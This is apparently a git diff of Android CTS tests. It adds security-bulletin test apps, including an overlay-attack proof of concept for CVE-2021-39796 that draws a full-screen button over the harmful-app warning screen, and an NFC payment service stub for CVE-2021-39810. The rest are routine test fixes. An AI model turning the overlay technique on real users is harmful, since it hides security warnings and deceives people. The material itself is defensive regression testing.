+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 00000000000..3ca36451900
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 00000000000..c16cd742b1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+ command</string>
+ <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+ <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+ </string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+ <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+ running on the device</string>
+ <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+ <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 00000000000..20fccde5071
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent();
+ intent.setClassName(context.getString(R.string.vulnerablePkg),
+ context.getString(R.string.vulnerableActivity));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ PackageManager pm = getApplicationContext().getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+ + context.getString(R.string.vulnerableActivity);
+
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+ ris.size() != 0);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = mDevice
+ .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+ + " " + context.getString(R.string.harmfulActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 00000000000..a7a9c5f2330
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ assumeTrue("The application cannot draw overlays",
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText("OverlayButton");
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
new file mode 100644
index 00000000000..9a11e88e648
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39810",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 00000000000..3bdc38db5c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39810"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.NFC"/>
+ <application
+ android:label="CVE-2021-39810"
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+ android:resource="@xml/aid_list"/>
+ </service>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 00000000000..89833813b98
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:requireDeviceUnlock="false">
+ <aid-group android:category="payment">
+ <aid-filter android:name="325041592E5359532E4444463031" />
+ </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 00000000000..e8e20851f3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 3203793fc0b..eeabeec69f3 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -76,6 +76,7 @@ public final class DeviceOwnerTest extends InstrumentationTestCase {
}
}
+ static final String CAR_SETTING_FRAG_RESOURCE_ID_REGEX = ".*:id/fragment_container_wrapper";
static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
static final ComponentName RECEIVER_COMPONENT =
new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
@@ -84,6 +85,7 @@ public final class DeviceOwnerTest extends InstrumentationTestCase {
protected PackageManager mPackageManager;
protected boolean mIsDeviceOwner;
private String mWorkPolicyInfoText;
+ private boolean mIsAutomotive;
@Override
protected void setUp() throws Exception {
@@ -94,9 +96,9 @@ public final class DeviceOwnerTest extends InstrumentationTestCase {
mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
BasicAdminReceiver.class, /* forDeviceOwner= */ true);
- boolean isAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ mIsAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
- mWorkPolicyInfoText = isAutomotive
+ mWorkPolicyInfoText = mIsAutomotive
? "Privacy Settings for Device Owner CTS host side app vehicle policy"
: "Your work policy info";
@@ -145,9 +147,10 @@ public final class DeviceOwnerTest extends InstrumentationTestCase {
boolean found = null != mDevice.wait(Until.findObject(By.text(mWorkPolicyInfoText)),
TIMEOUT_MS);
- // Try to scroll the list to find the item
- if (!found) {
- UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+ // For automotive UI, try to scroll the privacy list to find the item
+ if (!found && mIsAutomotive) {
+ UiScrollable scroller = new UiScrollable(new UiSelector()
+ .resourceIdMatches(CAR_SETTING_FRAG_RESOURCE_ID_REGEX));
try {
// Swipe far away from the edges to avoid triggering navigation gestures
scroller.setSwipeDeadZonePercentage(DEADZONE_PCT);
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 3ad254143d7..6aac55972c3 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -66,6 +66,7 @@ public class ShortcutManagerMultiuserTest extends BaseShortcutManagerHostTest {
getDevice().startUser(secondUserID, true);
getDevice().switchUser(secondUserID);
+ Thread.sleep(5000);
installAppAsUser(TARGET_APK, secondUserID);
waitForBroadcastIdle();
Thread.sleep(5000);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
index c7b2879492b..e192e72c5d7 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
@@ -16,14 +16,14 @@
package android.cts.statsdatom.appcompatstate;
-import static com.google.common.truth.Truth.assertThat;
-
import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_ASPECT_RATIO;
import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_FIXED_ORIENTATION;
import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_SIZE_COMPAT_MODE;
import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_LETTERBOXED;
import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_VISIBLE;
+import static com.google.common.truth.Truth.assertThat;
+
import android.cts.statsdatom.lib.AtomTestUtils;
import android.cts.statsdatom.lib.ConfigUtils;
import android.cts.statsdatom.lib.DeviceUtils;
@@ -154,8 +154,9 @@ public class AppCompatStateStatsTests extends DeviceTestCase implements IBuildRe
public void testNonResizablePortraitActivitySwitchedToOpenedThenMinAspectRatioActivity()
throws Exception {
- // The 1st and 2nd options for expected states are for portrait devices and the 3rd and 4th
- // options are for landscape devices, there are two options for each type of device because
+ // The 1st and 2nd options for expected states are for portrait devices, the 3rd and 4th
+ // options are for landscape devices, and the 5th and 6th options are for portrait
+ // devices that unfold into landscape, there are two options for each type of device because
// the NOT_VISIBLE state between visible states isn't always logged.
testAppCompatFlow(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ true,
@@ -166,6 +167,10 @@ public class AppCompatStateStatsTests extends DeviceTestCase implements IBuildRe
Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
NOT_VISIBLE, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+ LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+ Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE,
+ LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+ Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE));
}
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521e524..161a887a574 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba7414c5c..1fdeb9e092b 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="hidden-api-checks" value="false"/>
</test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
</configuration>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index c083977026e..8c1b4844470 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -67,6 +67,9 @@ public class AccessibilityEventTest {
private static final long IDLE_TIMEOUT_MS = 500;
private static final long DEFAULT_TIMEOUT_MS = 1000;
+ // From ViewConfiguration.SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS
+ private static final long SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS = 100;
+
private EventReportingLinearLayout mParentView;
private View mChildView;
private TextView mTextView;
@@ -151,10 +154,10 @@ public class AccessibilityEventTest {
mChildView.scrollTo(0, 25);
mChildView.scrollTo(0, 50);
mChildView.scrollTo(0, 100);
- Thread.sleep(150);
+ Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
mChildView.scrollTo(0, 150);
mChildView.scrollTo(0, 175);
- Thread.sleep(50);
+ Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
mChildView.scrollTo(0, 200);
} catch (InterruptedException e) {
fail("Interrupted while dispatching event bursts.");
@@ -234,7 +237,7 @@ public class AccessibilityEventTest {
mChildView.scrollTo(0, 25);
mChildView.scrollTo(5, 50);
mChildView.scrollTo(7, 100);
- Thread.sleep(100);
+ Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
mChildView.scrollTo(0, 25);
mChildView.scrollTo(5, 50);
mChildView.scrollTo(7, 100);
@@ -281,10 +284,10 @@ public class AccessibilityEventTest {
sendStateDescriptionChangedEvent(mChildView);
sendStateDescriptionChangedEvent(mChildView);
sendStateDescriptionChangedEvent(mChildView);
- Thread.sleep(150);
+ Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
sendStateDescriptionChangedEvent(mChildView);
sendStateDescriptionChangedEvent(mChildView);
- Thread.sleep(50);
+ Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
sendStateDescriptionChangedEvent(mChildView);
} catch (InterruptedException e) {
fail("Interrupted while dispatching event bursts.");
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index b6bb357b247..089aa5826ec 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -144,8 +144,8 @@ public class AccessibilityGestureDetectorTest {
mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
// The threshold is determined by xdpi.
mStrokeLenPxY = mStrokeLenPxX;
- mMaxAdjustedStrokeLenPxX = metrics.heightPixels / 2;
- mMaxAdjustedStrokeLenPxY = metrics.widthPixels / 2;
+ mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2;
+ mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2;
final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
final boolean screenHighEnough = metrics.heightPixels / 2 > mStrokeLenPxY;
mScreenBigEnough = screenWideEnough && screenHighEnough;
@@ -641,14 +641,18 @@ public class AccessibilityGestureDetectorTest {
adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx),
adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy));
+ final PointF tapLocation = new PointF(mTapLocation);
+ final float locationOffsetX = (fingerCount - 1) * fingerOffset;
+ tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0);
for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) {
// Make sure adjustments don't take us outside of screen boundaries.
- assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < mMaxAdjustedStrokeLenPxX);
+ assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX
+ + locationOffsetX));
assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY);
builder.addStroke(
GestureUtils.swipe(
- add(mTapLocation, fingerOffset * currentFinger, 0),
- add(mTapLocation, slopAdjustedDx + (fingerOffset * currentFinger),
+ add(tapLocation, fingerOffset * currentFinger, 0),
+ add(tapLocation, slopAdjustedDx + (fingerOffset * currentFinger),
slopAdjustedDy),
slopAdjustedStrokeDuration));
}
@@ -657,9 +661,9 @@ public class AccessibilityGestureDetectorTest {
private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) {
if (strokeDelta > 0.0f) {
- return strokeDelta + (fingerCount * mScaledTouchSlop);
+ return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10);
} else if (strokeDelta < 0.0f) {
- return strokeDelta - (fingerCount * mScaledTouchSlop);
+ return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10));
}
return strokeDelta;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index b206d5bac66..6f3772871ba 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -109,7 +109,7 @@ public final class AutoFillServiceTestCase {
}
protected static InlineUiBot getInlineUiBot() {
- return sDefaultUiBot2;
+ return new InlineUiBot(getContext());
}
protected static UiBot getDropdownUiBot() {
@@ -480,7 +480,6 @@ public final class AutoFillServiceTestCase {
}
protected static final UiBot sDefaultUiBot = new UiBot();
- protected static final InlineUiBot sDefaultUiBot2 = new InlineUiBot();
